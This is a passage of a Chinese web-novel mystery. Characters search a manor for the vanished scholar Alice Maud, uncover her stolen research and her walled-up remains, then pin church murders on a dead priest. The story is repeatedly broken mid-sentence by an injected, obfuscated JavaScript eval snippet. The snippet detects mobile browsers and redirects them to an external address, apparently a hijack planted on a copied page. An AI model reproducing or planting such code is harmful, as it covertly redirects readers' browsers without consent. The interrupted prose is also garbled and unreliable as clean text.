木制平台的一边，卡里斯托正面无表情地将他的莫德老爷分解成容易被扔进火里的小块。这位男爵现在看起来，也和他杀死的人没有什么两样了。 “做完这些我们要怎么办？”拉斐尔看着摇晃的火焰说，“难道真的要帮他们找凶手？怎么找？” “我们答应了萨拉女士，要在这里帮她找到爱丽丝.莫德夫人。”杰拉尔德说，“既然现在离不开宅子，那就先找人吧，等人找到了，我们就找机会走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879073|159714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “你是在说打算扔下我们逃跑吗？”卡里斯托从木制平台上抬起头来，“当着我的面？” “那是你的事。”杰拉尔德的手指敲击着剑柄，“我又不是真的彼得.莫德，可没有帮你们破案的义务。” 卡里斯托看了他一会，可能是想起了之前的契约魔药，也可能是本来就不在意，耸耸肩，把视线挪回了木制平台的莫德爵士身上。 艾希莉缩在拉维妮娅身边，视线迟疑地在每个人身上都停留了一会。她说不出话来，而其他人似乎也不想说话，房间里一时只有卡里斯托的刀剁在木板上的声音，火苗在木柴间噼啪作响，散发出一股烤肉的焦糊味。 几只也许是在开门时飞进宅子的蝴蝶扑腾着飞进房间，义无反顾地冲进跳动的火光里，顷刻间化为一撮飞灰。 “你不担心你的妹妹吗？”拉维妮娅看着那些蝴蝶，突然问。 另人意外的是，杰拉尔德和卡里斯托同时抬起头来看向她。 “卡里斯托？”拉维妮娅似乎毫无所觉地说，“你妹妹可是到现在都没有踪迹呢。” “我说过了，她没事。”卡里斯托的手顿了一下，又继续举起了刀，“只要知道她没事，她现在在哪里不重要。” “你到底是怎么确定她没事的？兄妹间的心灵感应？”拉维妮娅挑眉看着他，“没有这么灵异的事吧？” “像你的同伴说的。”卡里斯托神色平静地说，“这不是你的事，我没有义务回答你。” 杰拉尔德的嘴角抽动了一下。 “嗯，好的。”拉维妮娅点点头，“我知道了。” 气氛一时间变得尴尬起来，艾希莉看看这个，又看看那个，嘴唇蠕动着，却还是什么都说不出来，只好老老实实闭上嘴。还好，在她想出该说什么之前，萨拉已经开口了。 “好了。”萨拉把剩下的莫德爵士扔进火里，“我看这里处理得差不多了，天色也不早了，大家先去休息一会，有什么事明天再说吧？” 她转过头：“尤其是您，拉维妮娅小姐，您的伤势需要多休息才容易恢复。” “拉维！”听到伤势，艾希莉突然激动起来，“她说得对，你该休息。” “来吧。”萨拉说，“卡里斯托应该知道哪些房间可以用，不会有什么事的。” 拉维妮娅看了看她，没多说什么，似乎是默许了她的话。 他们很快处理完了剩下的莫德爵士，熄灭火堆，在卡里斯托的指引下找了几个房间歇息。 宅子的二楼没有人点灯，卡里斯托举着蜡烛，把他们依次送进房间，而萨拉在最后，扶着受伤的拉维妮娅。 艾希莉倒是想跟着她们，但她显然对照顾伤员一窍不通，还是走在了前面。 在漆黑的房间里，萨拉拿起一盒火柴，把房间的蜡烛点亮。 “萨拉小姐。”拉维妮娅站在她身后看了一会，突然说。 “怎么了？” “……不，没什么。”拉维妮娅最后说，“晚安。” 27. 第 27 章 杰拉尔德是被一阵敲门声唤醒的。 他在一片亮光中勉强睁开眼，发现天色已经大亮，阳光正从教堂的窄窗里投进房间，照得他眼前一片白晃晃的。他在这片白光里眨眨眼，感到头脑昏沉、眼球发痛。 房间的门还在锲而不舍地响着，声音越来越急促。 “杰里，你在做什么？”一个柔软的声音在门外响起，“你起了吗？我可要进来了？” 杰拉尔德的头还晕着，没有回答。 “杰里？杰里？我可真要进来了！” 在杰拉尔德的沉默中，敲门声停了几秒，接着，一柄纤薄的刀刃出现在门缝里，轻巧地挑起了铁质的门栓。 一个褐色的脑袋从门缝里伸进来，推门的女孩笑嘻嘻地看着他，半眯着和他相似的蓝眼睛，得意洋洋地说：“我说过，我要进屋了。” 杰拉尔德看着她，在逐渐清醒的神志里，心渐渐地沉下去。 又是这样。他想，又一次，再一次。 “我教你这个是为了防止你被饿死在自己屋里的。”他听见自己说，“可不是为了让你来撬我的房门的，艾斯特。” “你既然教了我，该怎么用就是我的事。”艾斯特把匕首收进口袋里，满不在乎地说，“再说了，院长嬷嬷现在可舍不得关我的禁闭——哎呀，不说这个了，你真的该起床了，今天可是弗洛斯节！” “对了。”杰拉尔德的声音继续说，这声音听起来比他本人要年轻不少，还懒洋洋的，“今天是过节，我有半天假，不用特地早起。” “那也到了该晨祷的时间了。”艾斯特抱着胳膊说，“莉莉修女之前已经烤了两炉饼干了，晨祷之后我们还要抓紧时间再烤一炉，要不然就要赶不上节日集市了。” 他们会赶上的，饼干很受欢迎，他们赚了一笔小钱，所有人都很高兴。 他们说，所有人都很高兴。 别去，杰拉尔德想。 如果艾斯特今天不出门，是不是一切都会不一样？ 他是不是还能装作什么都不知道，继续过这样的生活？ “你在发什么呆呢，还不快起床！” “你站在这我怎么起床？”年轻的声音说。 “我怎么了？”女孩跺跺脚，“你可是我哥！” “你也已经十四岁了，是个大姑娘了。”杰拉尔德的声音继续说，“你不是想做那家小姐的贴身女仆？总不能和大小姐说你现在还看哥哥换衣服吧。” “……好吧，好吧，你说得都对。”艾斯特翻了个白眼，“快一些，不然院长嬷嬷肯定骂你。” 这个梦是不是有点太长了？杰拉尔德烦躁地想，我怎么还不醒？ 梦中的自己还在继续说话：“嬷嬷才不舍得骂我呢，她最喜欢的孩子可就是我了。” 艾斯特在门口对他做了个鬼脸：“真自恋。” 我怎么还不醒？ “对了，今天下午……” 我怎么还不…… “……论文要……” 论文？ “论文要到截止日了……” “对，对不起……老师……我不是故意……” “能不能再宽限几天……” 杰拉尔德猛地从狭窄的木板床上坐起来，额头碰上了阁楼斜着的房梁。 在离他不远的地方，房梁一侧的矮窗旁，拉斐尔正皱着眉头翻来覆去，嘴里不住地嘟囔着论文、选题、截稿日、导师什么的。 那扇矮窗开着。 杰拉尔德锁上窗户，三两步冲出了这个小房间。 卡里斯托正站在走廊的一端，手里还端着一个陶壶、几块面包。 “你醒了。”他远远地朝杰拉尔德点点头，“我做了点早饭，在楼下的餐厅。” “你早就醒了？”杰拉尔德看着他，“房间的窗户怎么是开的？蝴蝶都飞进来了。” “哦，我觉得空气有些浑浊，就开窗通通风。”卡里斯托的紫眼睛里没有一点情绪，“别担心，花园里的蝴蝶几乎没有毒性。” 他举了举手里的托盘，那些陶壶和面包在他手里像纸片一样轻飘飘的：“这些是给萨拉小姐和拉维妮娅小姐的，麻烦你叫上你的另外两位同伴去楼下吧？” “等一会吧。”杰拉尔德说，“我们还有些事情要商量。” “那我把早餐都端上来好了。”卡里斯托耸耸肩，“萨拉小姐的那间房够大，足够坐下你们所有人。” 杰拉尔德微微眯起眼睛，看着眼前神色平静的少年。 卡里斯托也看着他，目光无遮无拦，没有一丝波动。 “啊啊啊啊啊论文啊啊——啊切！” 拉斐尔的卷发脑袋在喷嚏声里摇摇晃晃地出现在房间门口：“……为什么房间里会有蝴蝶啊？” “我知道了。”杰拉尔德眨了一下眼睛，对卡里斯托点点头，“把早餐拿上来吧，麻烦你了。” 他转过身，走向拉斐尔：“来吧，小少爷，把你的表妹叫起来，我们要干正事了。” “也就是说……”十来分钟后，艾希莉捧着一杯牛奶说，“我们现在要把这幢宅子里的房间都挨个找一遍？” “这确实是个笨办法。”杰拉尔德说，“不过做起来最快，顺利的话，今天搜完所有房间，晚上我们就可以乘乱离开了，怎么样？” “还是说，您对此有什么高见？” 艾希莉咽下嘴里的牛奶，使劲摇了摇头，耳侧的金色卷发被她甩得到处乱飞：“我觉得这是个好提议！多有意思，像寻宝一样——我们什么时候开始？” “等你吃完早餐吧，我亲爱的表妹。”拉斐尔叹了口气，“可别再像上次一样盯着窗外发呆了。” 他自己倒是在说完这句话后向窗外望去，灰眼睛里神色晦暗，给他那至少看上去张温和沉静的脸上添了几抹郁色。 杰拉尔德猜他是想起了没写完的论文。 艾希莉听了表哥的话，深吸了一口气，举起手里装着牛奶的杯子，一口不停地把牛奶喝了下去。 “我吃饱了！”她叫道，“我们现在就去吧？” “去哪儿？”拉维妮娅咽下嘴里的面包，“不如就从这间房间开始吧？” 她转头看向一旁的萨拉：“您之前说，是在二楼的窗户里看见爱丽丝夫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879074|159714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人的，那么，从二楼开始也很合理，对吧？” “啊……当然，当然，小姐。” “可是，这里不是安全的吗？”艾希莉眨巴着眼睛，“不然我们也不能在这过夜，不是吗？” “安全和找人并不冲突。”拉维妮娅说，“爱丽丝夫人又不是什么躲在暗处的怪物。” “啊，对。”杰拉尔德说，“她说不定正像高塔里的公主一样等着我们解救呢。” “……你可以少说两句，冰块脸。” “不过，这房间可真大……”艾希莉感叹道，“就算是有一间配套的外间，也太大了一点。” “是啊。”拉斐尔嘟囔道，“这么大也就睡了你们三个人，不像我们，三个人只能挤一间佣人房。” “因为这里是莫德老爷会见情妇的地方。”卡里斯托开口道，即使说出如此突兀的八卦，他也依旧面不改色，“一般来说，他们会需要大一点的空间来……” “可以了！可以了！”艾希莉捂着耳朵叫起来，“我不想听！” 拉维妮娅看着他，双眼像琥珀一样，看上去硬邦邦的：“既然是会见情妇的屋子，我猜，这里该有什么暗道吧？” “暗道？” “莫德爵士可不止一个情妇。”拉维妮娅的右手缓缓摩挲着装牛奶的陶壶，“要是那些受骗的天真姑娘遇上了，会很尴尬吧？” “也许你说得是有道理。”卡里斯托垂下眼睛，“但很可惜，以我对这间房间的了解，还不知道什么暗道。” “萨拉小姐。”拉维妮娅转过头，“您呢？” 萨拉侧过脸看着她，微微笑了一下。 “您昨天就想问我了，是吧？” 拉维妮娅眨眨眼，不置可否。 “我确实知道。”萨拉说，“但那只是扇暗门，就通向另一边的外间。” 她走到四柱床的一边，转动靠近床尾的一处蔷薇花的浮雕。在一阵轻微的响动后，浮雕侧方的衣柜后出现了一丝缝隙。 萨拉在那条缝隙旁轻轻推了一把，暗门就安静地打开了。 “你们看，就是这样。”她说，指着门后空荡荡的狭窄房间，“彼得.莫德的情妇一般会从那边的正门进来，再从这里出去，或者反过来。两边的走廊有装饰的花瓶隔开，这样就不会和走廊另一边的人碰见——像您之前说的，拉维妮娅小姐，避免尴尬。” “好吧。”拉维妮娅点点头，“那么这间房间也许是没有什么东西了，我们去其他房间看看吧？” 她往那间狭窄的暗室里看了一眼：“不如就从这里出去吧，刚好看看隔壁的房间——那应该就是爱丽丝夫人之前的房间吧？” “您很聪明，小姐。”萨拉深深地望了她一眼，“是的，这两扇门离得很近，不注意的话容易走错。” “你们呢？”拉维妮娅回过头，”你们怎么想？” 她的视线扫过每一个人，和杰拉尔德短暂地交错。 “听凭差遣，下垂眼小姐。”杰拉尔德微微躬身，“您先走。” 拉维妮娅朝他扯了扯嘴角。 “那可就拜托您了——感激不尽。” 28. 第 28 章 他们从暗门后的房间出来，和萨拉说得一样，眼前是另一扇几乎一模一样的门。 “我的天呐。”在门被打开的瞬间，艾希莉忍不住说。 在此时，谁也没有想到，最激动的居然会是拉斐尔。 这是一间宽敞的房间，几乎莫德爵士会见情人的卧室不相上下。但比起那间空荡荡的卧室，眼前的这个房间更像一个书房。 从房间门口开始，屋里足足摆了五个放满书稿的书架，只在房间的角落有一张狭窄的单人床。门的对面有一张巨大的书桌，上面凌乱地放着些笔墨、书本和纸张。墨水凭里的墨几乎已经干了，桌面上摊满了落了灰的稿纸，像是被胡乱地分成了几堆。 而在目光所及墙壁上，几乎布满了墨水的痕迹。大部分的字迹挨挨挤挤地难以辨认，只有一行字写得浓墨重彩、个个分明： 我找到了。 “……奇怪，这里的门也没锁呀。”艾希莉从拉维妮娅身后探出头来，小声说，“如果说之前那位爱丽丝夫人一直在这里，那她为什么不跑呢？” “……因为她跑不了。”拉维妮娅看着门边的一小截断裂的铁链，眉头狠狠地抽动了一下，“彼得.莫德还真是个一以贯之的人渣。” 萨拉也向那个方向看了一眼，不忍再看似的，闭了闭眼，移开了视线。 “她之前的活动范围根本到不了门口，因为长时间被拴着，我第一次见到她的时候，她的一条腿就是跛的……那条腿整个萎缩了，她自己也毫无办法。” “她写了好多字。”艾希莉小声说，“她是不是很痛苦？” “……真不敢相信。” “是啊。”萨拉垂着眼，“她那时还顽强地活着，已经……嗯？” “……真是太难以置信了！”拉斐尔双颊发红，似乎完全没有注意到当下的气氛，不住地感叹着，声音里带着一种高亢的狂热，“天才……真正的天才！太不可思议了！” “你又在说些什么呢，拉斐尔？”艾希莉眯起眼睛，“我们不该乱动别人东西吧，你受的绅士教育呢？” “天才般的想法……”拉斐尔像是没听见似的，一页页迅速翻看着桌上的稿纸。那些纸面上布满了纤细倾斜的笔记，密密麻麻地列着一行又一行的符号和数字。 “拉斐尔？拉斐尔！”没得到回应的艾希莉提着裙子跑过一排书架，用力拍在拉斐尔的肩膀上，“你到底在干什么呢，表哥？” “看看这些！”拉斐尔举起手里的稿纸，“只要通过符文之间的互相影响，简单符文的多次组合，就可以给出精确的指令，即使在使用时导体矿的含量低，足够的时间下，法阵也还是可以发挥出完全的作用——它的精确度几乎不受任何法阵效率因素的影响。” 拉斐尔的灰眼睛在稿纸后迸发出热烈的光彩：“我之前读过一些莫德爵士的论文，但那时的理论只是改良其中一些符文，使其影响法阵的大部分。但这个，这个想法在那之上进行了大胆的改进……不，不，这几乎是在那之上创设了一个全新的理论体系！不需要重新创造复杂的符文，就能达到比复杂符文更完美的效果……而且，只要了解了基本符文和组合逻辑，大部分人都可以使用，几乎没有应用门槛……” 他转过身，一把抓住艾希莉的胳膊，用力地摇晃起来：“这就是天才！天才中的天才！虽然这还只是个理论，而且只有温度控制方面的应用实例，但它是有潜力成为一个统一的模型理论的！想想吧，如果这个理论发表，有可能在法阵应用学产生一个新的分支！我的天呐艾希莉，我们可能见证了历史！” “呃，拉斐尔？”艾希莉被他晃得有些发懵，晕头转向地说，“你说得好复杂……我听不懂……” “我可以晚点和你详细解释。”拉斐尔又摇了摇她的胳膊，“现在，你们只要知道这是个天才般的想法就够了。天呐，我一定要见见……” 他的动作猛地停住了。像是被突然泼了一捧凉水，他止住话头，僵立在原地，不止所措地睁大了眼睛。 “……这不是莫德爵士写的，对吧？”他直愣愣地转向房间里的其他人，情绪突兀地低沉下来，嘴唇翕动着，半天才发出声音。 “这是爱丽丝.莫德夫人的房间……这是她的手稿。”年轻的学者看着那些细长的字体，重重地哽了一下，“……这是她的……本该是她的研究。” “……是吗？”他喃喃地问，“是这样吗？” 没有人回答他。 在说明了一切的沉默里，拉斐尔重新低头看向那份手稿，属于爱丽丝的细长字体与他对视，长久地、诚挚地。 这里大概没有人比他更知道这份手稿的价值了。 这也许是一个研究学者穷尽一生所能追求的全部。 而事实上，在这张桌面上，这样的手稿不止一份。 拉斐尔望向书桌对面的墙壁，那里和桌上的稿纸一样，写着一行又一行的公式。 它们一开始是和稿纸上一样清晰的细长字体，接着却凌乱起来，笔尖划破了墙纸，像困兽狂乱的抓痕。 我找到了。 她没有写痛苦，逃离，自由，只是说，找到了。 这的确，是天才般的发现。 他抿了抿嘴，目光炯炯地看着那张稿纸，像是下定了某种决心。 稿纸被放下，又一页一页地被拿起。拉斐尔的眼睛扫过手中的每一张稿纸，把它们放在合适的位置上，平整地摞成一摞。 “我想带走这些稿纸，整理成论文发表。”他低声说，手里的纸页沙沙作响，“以爱丽丝女士的名义。” “……可以吗？” “我相信老师会很高兴的。”萨拉轻声说，“谢谢您，先生。” 纸张的底部敲击在桌面上，发出柔和的响声，像是一声应答。 “现在说这个好像有点煞风景了。”拉维妮娅向身后看了一眼，转头对拉斐尔说：“不如你先留在这吧，我们去看看其他房间。” “杰里。”她说，“你在这里看着他？” “像我之前说的。”杰拉尔德靠在门边说，“听凭差遣。” 他们走遍了二楼走廊一边的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879075|159714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 剩下几个房间，没发现什么特别的，不是灰尘就是杂物。 “我们要去对面的走廊看看吗？”艾希莉回过头，看了看把走廊隔开的花墙。 “那边我们昨天看过了，你记得吗？”拉维妮娅说，“除了我们昨晚住的那两间，剩下的就是你和拉斐尔被关着的地方。” “……哦。”艾希莉望着走廊的一端，似乎想起了什么，情绪突然低落了几分。 “去楼下吧。”拉维妮娅说，“彼得.莫德会把那种……房间放在一楼，在一楼有一间关着女士的房间也不奇怪。” 但一楼房间的数量其实要更少，开放式的餐厅和会客厅占据了大部分的空间。他们经过了厨房和储物室，来到一扇狭窄的小门前。 “这里其实也是储物室。”萨拉说，“不过它通向后面的花房，平常也就放些铲子和园艺剪之类的工具，另一头还有一扇门，一般是门房从外面锁上的。” “我记得您说过，门房是不被允许进入屋内的，对吧？”拉维妮娅看向萨拉，“那么这间储藏室也只有彼得.莫德在用？” “可以这么说。”萨拉说。 “哦！”艾希莉恍然大悟地拍手，“那我们一定要进去看看了！很可疑呀，对吧？” 卡里斯托耸耸肩，在口袋里找了一会，掏出钥匙把门打开。 就像萨拉说的，在这个狭长的储藏室里，除了一些园艺工具和几个花盆之外，什么也没有。 要说有什么稍微不一样的地方，那可能是这间储藏室并没有铺设地板，它的地面比起其他房间来说微微下沉，直接接触着外部的泥土。 这也难怪，毕竟这里连着花房，从花圃回来，无论如何都会带进一些泥土。 “这里是不是也没有什么东西？”艾希莉懊恼地说，用鞋尖拨弄着脚下的泥土，“……这是不是最后一个房间了？” 她踢着泥土往前走，却突然绊到了什么更为坚硬的东西，向前一个趔趄，差点摔在拉维妮娅身上。 “对，对，对不起拉维！”艾希莉慌张地说，“你没事吧？我刚才好像——” “石板。”拉维妮娅停在原地，用鞋跟敲击了一下脚下坚硬的部分，“下面应该是实心的。” “所以这就是块普通的石板？”艾希莉失望地问，“为什么这里会有石板？” “等一等。”萨拉蹲下来，用手拂开石板表面的沙土，“这上面刻了些东西——这是个法阵。” “法阵？”艾希莉也蹲下来，帮着她一起把石板清理开，“这是什么法阵？” “应该是个放大法阵。”拉维妮娅退后一步，大量着泥土下露出的符文说，“看上去是最简单的那种，效果也不会很明显，大概就是把鹌鹑蛋放大成鸡蛋的程度。” “但他们不是在从事法阵方面的研究吗？”艾希莉说，“会不会……” “放大法阵是最基础的强化法阵之一，因为符文组合简短，一般不容易弄错，也没有多少修改空间。”拉维妮娅摇摇头说，“就算做出了一些改进，也不太可能是其他种类的法阵。” 29. 第 29 章 “可是……”艾希莉有些不甘心地说，“这多奇怪啊，一个杂物间里居然有块刻着法阵的石板……这里也没有什么需要放大的东西吧？” “的确。”拉维妮娅又看了一眼角落的花盆，眼神变得鄙夷起来，“但说不定只是花匠需要一个大一点的园艺剪。” “哦，拉维！”艾希莉从石板旁边站起来，“你知道的，肯定不是因为园艺剪。” “的确，也可能是花。” “花？” “彼得.莫德的头衔之一是植物学家，总是能培养出比一般品种更大的花卉，对吧？”拉维妮娅说，“可是你看，花园里的那些蔷薇花，虽然长得不错，但并没有什么和普通蔷薇花不同的地方。” “你是说……不是吧。”艾希莉皱了皱眉头，“就这样？这也太……太……” 种出普通的花，然后把它放大一些，赢得公众关注的花卉比赛，从而打开销路。 太简单了，太儿戏了，但又确实有效。 彼得.莫德确实是个成功的商人。 “可是，如果这么简单……为什么其他花卉商人不这么做呢？——这简直是一本万利的买卖。” “因为这种方法不具备量产性。”拉维妮娅说，“首先，你也看到了，这个法阵不够大，不能一次性放大一片花田里的东西；其次，放大法阵会放大法阵内的所有东西，不管那是花、种子、花盆，还是花盆土里的蚯蚓。” “哦……所以这个法阵是不可控的？”艾希莉眯起眼睛，“要这么看，那位彼得.莫德的胆子可真大。” “也别想太多了，这只是我的一个猜想。”拉维妮娅说，“但这不怎么重要，至少和我们要找的爱丽丝女士无关。现在走吧，我们去看看其他地方。” 她好像是已经知道了什么，脸上里带着一种艾希莉难以理解的复杂神色，毫不犹豫地转身，走出了这间房间。 艾希莉愣了一下，跟着追出去，发现拉维妮娅没在其他地方停留，反而直接回到了二楼。 “拉维！”她追上去，“我们不用再看一楼的……” 她停住了。 杰拉尔德站在二楼走廊的一端，沉默地看着她们，轻轻点了点头。 拉维妮娅的脸色又难看了一点。她向前走了几步，在爱丽丝夫人的房间门口站定，回过头看向跟在艾希莉身后的萨拉。 “萨拉小姐。”她说，“您之前问我，昨晚想问您什么问题。” “实际上，我只是觉得奇怪。爱丽丝夫人已经在这幢房子里消失一年了，就算您在之前没有办法查看每一个房间，您也不该对此一无所知。” “您应当很熟悉这幢房子的结构，对房间的用途也一清二楚，没理由猜不出爱丽丝夫人在哪——如果，她真的被囚禁了的话。” “您是在怀疑我说谎？”萨拉上前一步，皱着眉头和拉维妮娅对视。她看上去又回到了旅馆老板的样子，有些咄咄逼人，“这么做对我有什么好处？况且我说过，如果你们怀疑我，大可以用吐真剂，或者你们给卡里斯托的契约魔药，随便什么东西——” “冷静一点，萨拉小姐，我没有说您在说谎。”拉维妮娅说，“我的意思是，您应该已经知道了，爱丽丝夫人不在任何一间房间里。或者说，从一开始，她就没离开过她自己的房间。” “……我不明白，拉维妮娅小姐。”萨拉说，“我不明白您在说什么。” “爱丽丝女士从一开始就无法逃跑，还能为彼得.莫德提供研究成果，他完全没有必要再大费周章地把她弄到这里的另一个房间去。” “但那天一定是发生了什么事，使得他不得不采取某个行动……一件他后来又干了无数次的事。” “你其实早就猜到了，对吧，萨拉小姐。”拉维妮娅的眼睛剔透冰冷地望向她，像两块无机质的矿石。 “你只是不想承认。” “爱丽丝夫人……爱丽丝女士，在一年前就已经死去了。” “她就在这里。”拉维妮娅侧开身，在暗室靠近花墙的墙壁处，一片墙纸被剥落下来，露出墙纸后的一道狭长的缝隙。 而在缝隙里，蜷缩着一具皱缩的、干瘪的骨架。 “……她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879076|159714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最后也没能离开。”拉维妮娅垂下眼睛，“请节哀。” 萨拉缓缓地走到缝隙前，长久地、深深地望着她。 在很长一段时间里，这位旅馆老板没有任何动作，双臂几乎是僵硬地摆在身侧，五指紧紧地攥在一起。 一滴透明的液滴从她的下巴上滴落，沾湿了她的前襟。 这位看起来高大坚强的女士终于在此刻发出了一声压抑的悲鸣。 没有人再说话，这声音长久地回荡着，直到被窗外蝴蝶振翅的风声淹没。 打断这一切的还是敲门声。 “您一定要出来看看，莫德老爷！”门房的声音响起来，“教堂那边……” “怎么回事？”卡里斯托喊道，“神父大人现在难道不是被约翰逊先生看着吗？” “别提啦，卡尔！”门房的声音带着一丝惊恐的颤抖，“求求你，快让莫德老爷出来看看吧，他们，他们都……” 神父和老约翰逊死了。 他们的尸体被发现在教堂的大厅里，老约翰逊倒在神坛的布道席旁边，胸口插着一把匕首，大张着的眼睛和嘴死死地对着神坛的方向。而在神坛上，神父的身体仰面躺在那里，四肢从神坛的边缘垂下，以一种扭曲的角度指向地面。他的胸口有一个几乎穿透身体的空洞，暗红的颜色几乎染遍了整个神坛，和前一晚在这里死去的少年堪堪重合。 镇民们再一次聚集在教堂里，日光穿过教堂的窗户落在他们脸上，显得他们的面孔各外苍白明亮，反射着希冀的光芒，等着他们爱戴的莫德爵士给他们一个结果。 “先是小约翰逊，又是他父亲，还有神父大人……”一个镇民小声说道，“我们的教堂是不是出了什么问题？” “你在说什么呢？伟大的安布罗斯在上，教堂怎么会有问题？”另一个镇民反驳道，“一定是那些外来者的问题，老约翰逊之前还怀疑神父大人，结果呢，现在神父大人也被他连累了！” “可莫德爵士说那些人是他的客人！你们难道不相信莫德爵士吗？” “安静一下，各位！莫德爵爷来了！” 30. 第 30 章 几乎所有人的视线同时落到“莫德爵士”身上，那些祈盼的、猜疑的、迷茫的目光强烈直白，照得杰拉尔德浑身不舒服。 他极力低下头，查看神父和老约翰逊的伤口。 神父的伤口没什么新意，不是说这不奇怪，而是他确实和小约翰逊一样，在死去时流干了血。 萨拉站在神坛的另一边，因为哭泣而微微泛红的眼睛长久地凝视着神父胸前的伤口，似乎不是很能理解眼前的状况，微微皱着眉头。 杰拉尔德没再注意神父，走到老约翰逊旁边蹲下来。这位刚失去孩子的中年男人大睁着双眼，眼眶里布满血丝，直勾勾地盯着前方。他大张着的嘴边挂着干涸的红褐色痕迹，从他的胡子边缘一直延伸到布告席的椅子腿上，呈现出一种惨烈的喷射状。 杰拉尔德看到他胸膛上的那把刀，木制的刀柄是一种长久使用形成的光滑，底部刻着一个字母“J”。 他应当是被人杀了，用他自己的刀。杰拉尔德想，并且他无力抵抗，只能看着这个人离开。 这非常奇怪，因为显而易见，老约翰逊是个正值壮年的壮汉，有多年的夜巡狩猎经验，在这种小镇子上，能让他陷入完全被动的人，可以说是几乎没有。 当然，几乎，就是说不是不可能。 杰拉尔德微微转动眼睛，隐晦地看了一眼正在安抚镇民的卡里斯托。 他想起早上醒不过来的梦，开着的窗户，到处飞的蝴蝶。 这确实是一个方向，不论是今天早上，还是昨天下午，卡里斯托都有时间出现在教堂。 但他为什么要这么做？ 况且…… 杰拉尔德收回目光，再次看向老约翰逊的尸体。和神父一样，他的四肢关节不正常地扭曲着，双手的手指紧紧地纠结在胸前，刀柄下方一点的地方。 他忽然看见了什么，微微把老约翰逊侧躺着的身体翻动了一下，露出被身体压着的一小段草绳。 草绳上系着什么东西，看上去像个挂坠。 杰拉尔德什么也没说，把那块东西捏进了手心里。 他站起身来，朝卡里斯托招招手，后者已经快要控制不住愤怒的镇民，看见他的动作，肉眼可见地松了口气。 “冷静一下，各位！”卡里斯托喊道，“莫德老爷说他已经知道些什么了！” 他一边挥舞着胳膊一边向后退去，知道走到杰拉尔德旁边。 “你最好是真知道什么。”他压低声音对杰拉尔德说，“要不然可就真的麻烦了。” “你都不确定我知道什么，就敢开口保证？”杰拉尔德抬起眼睛，一眨不眨地看着他，“那么好，你现在去告诉他们，我找到凶手了。” “真的？是谁？” “是你。” “……你在开什么玩笑？” “意思是我也不知道。”杰拉尔德说，缓缓地眨了一下眼睛，“但是我有一个暂时的解决方法，也许能先打发走镇民。” “什么？” 几分钟后，卡里斯托抬起头，重新看向镇民——镇民们看起来已经颇为不耐烦，有几个脾气暴躁的甚至开始向他们走来。 “嘿！莫德爵爷！这究竟是怎么回事？” “我说，你们觉不觉得莫德爵士今天看起来……” “听我说！”卡里斯托喊道，“莫德爵士已经找到凶手了！” “什么？凶手是谁！” 卡里斯托深吸一口气。 “凶手是，神父大人。” 刚刚安静下来的镇民再次骚动起来。 “你在开什么玩笑，卡尔！”一个镇民叫道，“神父还躺在那儿呢，连气都没了！” “不对，卡尔只是转述莫德爵士的话而已，这是莫德爵士的结论！” “这到底是怎么回事？莫德老爷！” “听我说，各位。”卡里斯托说，“事情的真相是，一开始，神父大人在昨晚先杀了小约翰逊。” “什么？” “居然真的是神父大人？” “可这……” “接着，老约翰逊因为昨晚莫德爵士的吩咐，在神父大人的房间负责看守，也因此，巧合地确定了，神父大人就是杀死儿子的凶手。” “再之后，他在盛怒之下，用匕首威胁着神父来到教堂的神坛，用相同的手法杀死了神父，又在失去儿子的悲痛中，举刀杀死了自己。” “天呐，原来是神父大人……” “怎么会是… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 